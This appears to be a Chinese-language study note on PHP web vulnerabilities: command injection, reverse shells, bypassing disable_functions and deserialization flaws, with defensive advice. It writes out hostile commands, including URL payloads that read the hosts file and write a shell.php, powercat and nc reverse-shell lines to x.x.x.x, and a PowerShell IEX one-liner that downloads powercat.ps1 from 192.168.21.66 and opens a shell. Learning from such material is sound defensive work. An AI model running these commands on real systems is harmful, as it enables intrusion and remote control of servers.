一、漏洞的原因及本质
代码层过滤不严,应用程序直接或间接使用了动态执行命令的危险函数,并且这个函数的运行参数是可控的。当服务器没有严格过滤用户提供的参数时,就有可能导致用户提交恶意代码被服务器执行,从而造成命令执行漏洞。
涉及到的函数
函数 | 说明 |
---|---|
system | 能够将字符串作为OS命令执行,自带输出功能 |
exec() | 能将字符串作为OS命令执行,但无输出,需要输出执行结果 注意:只输出最后一行数据 |
shell_exec() | 执行命令并以字符串的形式,返回完整的信息,但是函数无回显,需要输出执行结果 |
passthru() | 执行外部命令,与exec()类似,但是该函数会直接将结果输出,无需输出执行 |
popen() | 打开并运行一个程序文件,返回一个文件指针 |
反引号(``)、[``] 内的字符串,也会被解析成OS命令 |
二、命令执行漏洞的危害
1、继承Web服务器程序权限(Web用户权限),去执行系统命令
2、继承Web服务器权限,读写文件
3、反弹Shell
4、控制整个网站
5、控制整个服务器
利用
操作 | 命令 |
---|---|
查看系统文件 | payload:[?cmd=type c:\windows\system32\drivers\etc\hosts] 查看系统hosts文件 |
显示当前路径 | payload:[?cmd=cd] |
显示当前权限 | payload:[?cmd=whoami] |
写文件 | payload:[?cmd=echo”x” > C:\phpStudy\WWW\Commmand\shell.php] 页面没有报错,说明文件写入成功 |
三、命令执行语法
Windows
命令格式 | 含义 |
---|---|
command1 & command2 | 挂起,同时执行Command1和command2,无论command1执行是否成功都执行cmmand2 |
command1 && command2 | 且,先后执行Command1和command2,只有command1执行成功时才执行command2 |
command1 || command2 | 或,先后执行Command1和command2,只有command1执行失败时才执行command2 |
command1 | command2 | 管道符,将command1的执行结果传递给command2 |
Linux
命令格式 | 含义 |
---|---|
command1 ; command2 | 分隔,先后执行Command1和command2,各自无影响 |
command1 & command2 | 挂起,同时执行Command1和command2,无论command1执行是否成功都执行cmmand2 |
command1 && command2 | 且,先后执行Command1和command2,只有command1执行成功时才执行command2 |
command1 || command2 | 或,先后执行Command1和command2,只有command1执行失败时才执行command2 |
command1 | command2 | 管道符,将command1的执行结果传递给command2 |
command1.command2 |
反引号" `` " ,优先执行,无论command1是否执行成功 |
四、命令执行漏洞的防御
1、尽量少使用执行命令函数或者禁用disable_functions
2、在进入执行命令的函数之前,对参数进行过滤,对敏感字符进行转义
3、参数值尽量使用引号包括,并在拼接前调用addslashes进行转义
注:windows写入用单引号,linux用双引号。
五、反弹shell
正向shell不可控,但是不受网络环境影响(自己内网连接目标公网)
控制端->被控端,被控端需要开启监听(被控端防火墙、端口开启等难度大,不建议)
powercat -l -p 8888 -e cmd
nc x.x.x.x 8888
反弹shel可控,但是需要网络可达(目标内网连接自己公网)
被控端->控制端,控制端开启监听可控,被控端只需要连接即可,容易实现
注:无论是哪种shell,都是控制端控制被控端。
powercat -c x.x.x.x -p 8888 -e cmd
nc -lnvp 8888
powershell程序反弹shell
(程序为powershell函数,让目标服务器可以执行powershell命令)
从本地上传脚本
powershell.exe -exec bypass -Command "Import-Module C:\powercat.ps1;powercat -c x.x.x.x -p 8888 -e cmd"
从公网服务器下载脚本
powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.21.66:8000/windows/powercat.ps1');powercat -c 192.168.21.66 -p 8888 -e cmd
详见反弹shell归纳笔记。
六、绕过disable functions
disable_functions是在/etc/php/apache2/php.ini中的一个设置选项,可以用来设置PHP环境禁止使用某些函数
通常是网站管理员为了安全起见,用来禁用某些危险的命令执行函数等
phpinfo中为disable functions,默认为空,可以通过修改配置文件php.ini进行设置
如果disable functions被启用,即使拿到webshell,命令执行依然受到限制
绕过方法
方法 | 说明 |
---|---|
常规绕过: exec,shell_exec,system,passthru,popen,proc_open |
黑名单不全绕过 (蚁剑自带黑名单绕过) |
利用环境变量LD_PRELOAD绕过 LD_PRELOAD是Linux系统的下的一个环境变量,它允许你定义在程序运行前优先加载的动态链接库。 通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。 在php中,可使用putenv()函数设置LD_PRELOAD环境变量来加载指定的so文件,so文件中包含自定义函数进行劫持从而达到执行恶意命令的目的 |
前提条件 1、能够上传自己的.so文件 2、能够控制环境变量的值(设置LD_PRELOAD变量),比如putenv函数 3、存在mail()、imap_mail()、mb_send_mail()和error_log()等可以控制PHP启动外部程序并能执行的函数 利用过程 1、首先,能够上传恶意.so文件,.so文件由攻击者在本地使用与服务端相近的系统环境进行编译,该库中重写了相关系统函数,重写的系统函数能够被PHP中未被disable_functions禁止的函数所调用 2、能够设置环境变量,比如putenv函数未被禁止,就可以把LD_PRELOAD变量设置为恶意.so文件的路径,只要启动新的进程就会在新进程运行前优先加载该恶意.so文件,导致恶意代码就被注入到程序中 3、当执行未被禁止的PHP函数,并且该函数调用了恶意库中重写的系统函数,就可以达到任意执行系统命令的效果了,因为重写的系统函数中的内容是我们可控的,对这部分内容进行编程即可 |
利用pcntl_exec绕过 | |
利用imap_open函数任意命令执行(CVE-2018-19518) | |
利用系统组件window com绕过 COM组件它最早的设计意图是,跨语言实现程序组件的复用 COM组件由以Win32动态连接库(DLL)或可执行文件(EXE)形式发布的可执行代码所组成,遵循COM规范编写出来的组件将能够满足对组件架构的所有要求 |
前提条件 1、php版本为5.4,高版本扩展要自己添加 2、要在php.ini中开启extension=php_com_dotnet.dll 函数: exec(“cmd /c”.$command); $stdout = $exec->StdOut(); $stringput = $stdout->ReadALL(); print($stringput); ?> 使用: com.php?shell=whoami |
利用Apache+mod_cgi+.htaccess绕过 ModCGI把PHP做为APACHE一个内置模块,让apache http服务器本身能够支持PHP语言,不需要每一个请求都通过启动PHP解释器来解释PHP,它可以将cgi-script文件或者用户自定义标识头为cgi-script的文件通过服务器运行。 .htaccess文件中可以定制用户定义标识头,如果添加Options+ExecCGI,代表着允许使用mod_cgi模块执行CGI脚本,添加AddHandlercgi-script.cgi,代表着包含.cgi扩展名的文件都将被视为CGI程序 | 前提条件 1、启用mod-cgi 2、.htaccess可写 3、保证.htaccess可以加载进当前web环境。当apache配置文件中指定web目录下AllowOverride参数值为None时,.htaccess文件无法生效 |
利用ImageMagick漏洞绕过 | |
利用PHP7.4的FFI绕过利用ShellShock绕过(CVE-2014-6271) | |
利用蚁剑插件绕过 | 加载插件->辅助管理->绕过disable_functions |
七、反序列化漏洞
将对象的状态信息转换为可以存储或传输的形式(字符串)的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。简单的说,序列化就是把一个对象变成可以传输的字符串,可以以特定的格式在进程之间跨平台、安全的进行通信。
序列化的用途
方便对象在网络中的传输与存储
序列化与反序列化的过程:
序列化:将对象转换为流,利于储存和传输的格式
反序列化:将流转换为对象
PHP反序列化
PHP对象类型数据,反序列化之前,需要对反序列化对象提前定义。
函数 | 说明 |
---|---|
serialize($a) | 序列化 |
unserialize($a) | 反序列化 |
形成原因:
程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通。
常见的魔法函数介绍
序列化本身并不存在任何漏洞,但是搭配上PHP的魔法函数,整个程序的执行流程就将变得可控
函数 | 说明 |
---|---|
__construct() | 当一个对象创建时被调用(相当于c++的构造函数) |
__destruct() | 当一个对象销毁时被调用(相当于c++的析构函数) |
__sleep() | 在对象被序列化之前被调用 |
__weakup() | 将在unserialize()函数执行反序列化时调用。 |
__toString() | 当一个对象被当作一个字符串时使用 |
注意:
PHP的反序列化漏洞需要与其他漏洞配合,比如代码执行、代码执行等。
防御:
1、要严格过滤用户输入的unserialize函数的参数
2、要对unserialize后的变量内容进行检查,以确定内容没有被污染